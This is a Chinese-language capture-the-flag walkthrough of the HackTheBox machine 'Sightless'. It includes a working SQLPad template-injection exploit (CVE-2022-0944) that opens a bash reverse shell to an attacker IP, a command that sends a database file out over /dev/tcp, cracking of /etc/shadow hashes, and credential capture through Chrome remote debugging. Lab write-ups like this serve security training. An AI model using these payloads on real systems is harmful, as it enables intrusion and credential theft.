Sightless

信息收集

1
2
3

nmap -sC -sV -O 10.10.11.32

扫描结果如下

可以看到开放了ftp端口和80端口还有一个域名,先把域名添加到hosts里

尝试ftp匿名登录发现失败了,所以来看看网站。

查看页面源码发现了一个子域名,也给加入到hosts里,然后访问一下这个子域名

这里会显示sqlpad的版本号

漏洞利用

去网上找一下看看sqlpad的漏洞

https://github.com/worm-403/scripts

https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944

这里有一个rce漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

#!/bin/bash



#Remember to put the Netcat on the listening port



IP="${1}"

PORT="${2}"



if [[ -z "${@}" ]]; then

echo "Add IP and PORT"

echo "Example: ./exploit.sh IP PORT"

exit 1

fi



payload=$(cat <<EOF

{

"name": "worm",

"driver": "mysql",

"data": {

"database": "{{ process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/${IP}/${PORT} 0>&1\"') }}"

}

}

EOF

)



response=$(curl -s -X POST 'http://sqlpad.sightless.htb/api/connections' \

-H 'Content-Type: application/json' \

-d "$payload")



id=$(echo "$response" | jq -r '.id')



curl -s "http://sqlpad.sightless.htb/api/connections/${id}/schema" &>/dev/null

拿到了shell

发现了一个sqlite,所以我们直接用sqlite的语法进行查看一下,但是他本机没有sqlite3这个命令所以我们拿到本地进行查看

1
2
3

cat sqlpad.sqlite >& /dev/tcp/10.10.16.10/1234 0>&1

1
2
3
4
5
6
7

sqlite3 sqlpad.sqlite

.table

select * from user;

发现了一些用户的凭证信息可以用hashid识别一下

可以看到是brypt所以可以爆破一下

在爆破的同时在他本机的机器上查看shadow文件发现了root和michael用户的hash

1
2
3

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt htb.hash

开始进行爆破普通用户的密码

可以爆破出来所以我们登录一下他的机器

可以拿到他的user flag

提权

把小乌龟的脚本上传一下inpeas.sh看看有什么可以用的吗

1
2
3

rsync linpeas.sh michael@10.10.11.32:/home/michael

可以看到扫描结果

开起了80 端口和8080端口我们映射出来看看

可以看到是一个登录界面,去搜了一下这个框架的洞找不到。另外发现这个john用户在远程调试谷歌浏览器,之前没了解过去查查

参考一下这个文章:https://blog.51cto.com/u_15061934/4075994了解远程调试

先将调试的端口转发到本地

1
2
3

ssh -L 35871:127.0.0.1:35871 michael@10.10.11.32

得到密码

开启一下这个fpm

这时候由于没有权限所以chmod 77 /tmp/id_rsa在拖到本地在执行一次就可以了

获取root的密钥登录拿到flag